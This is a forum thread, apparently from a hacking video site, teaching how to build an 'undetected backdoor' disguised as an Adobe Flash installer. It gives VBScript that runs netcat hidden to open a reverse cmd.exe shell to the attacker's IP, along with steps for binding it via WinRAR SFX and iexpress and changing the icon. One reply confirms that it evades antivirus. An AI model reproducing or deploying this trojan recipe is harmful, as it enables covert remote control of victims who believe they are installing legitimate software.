    Thumbs up Making undetected backdoor using netcat+vbs script,and hiding it in Adobeflash setup

    Hi all ... this is my first video here .. so hope you will like it
    the video is so simple but it gives high result .. even after meta payloads are being detected .. so netcat + vbs script are the solution (i don't guess it will be caught some day)
    steps:
    1- edit the vbs code and write your external ip (if you want to use it out network) or your network ip ( if you want to use it in networks), and write the port, then save it as xx.vbs
    here is the code
    Code:
    Const HIDDEN_WINDOW = 1
    strComputer = "."
    Set objStartup = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2:Win32_ProcessStartup")
    Set objProcess = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2:Win32_Process")
    Set objConfig = objStartup.SpawnInstance_
    objConfig.ShowWindow = HIDDEN_WINDOW
    errReturn = objProcess.Create("C:\nc.exe -d -e cmd.exe yourip port", null, objConfig, intProcessID)
    2- bind it with netcat.exe using winrar .. with some sfx option
    3- bind the result file with Adobe flash setup using iexpress
    4- change the icon using resource hacker
    5- enjoy ^_^
    video link MOD EDIT: New video link http://blip.tv/file/4248727
    The quieter you become--the more you are able to hear((thats why the video has no sound :P:P hhh )

    I love the idea but would it be possible for you to share the video through another site like blip.tv? Some people may not want to download a rar file from 4shared.

    I have not downloaded the file, and to be honest, the best way to promote a video here
    is to upload the video to a service such as blip.tv or vimeo.

    Downloading .rar files is not something everyone will do to watch a video, but viewing
    a blip or vimeo link will have more success.

    Hi fellaz,
    This works flawlessly no av detection i used windows live essentials and icon changer for the icon the setup works and gives and error only due to the version i have on the system already is 2011 beta but using the 2010 version in the binded file even with the error stating thats its older version than one installed when you close the dialogue box it installs the backdoor, sweet as a nut. Great work "M".
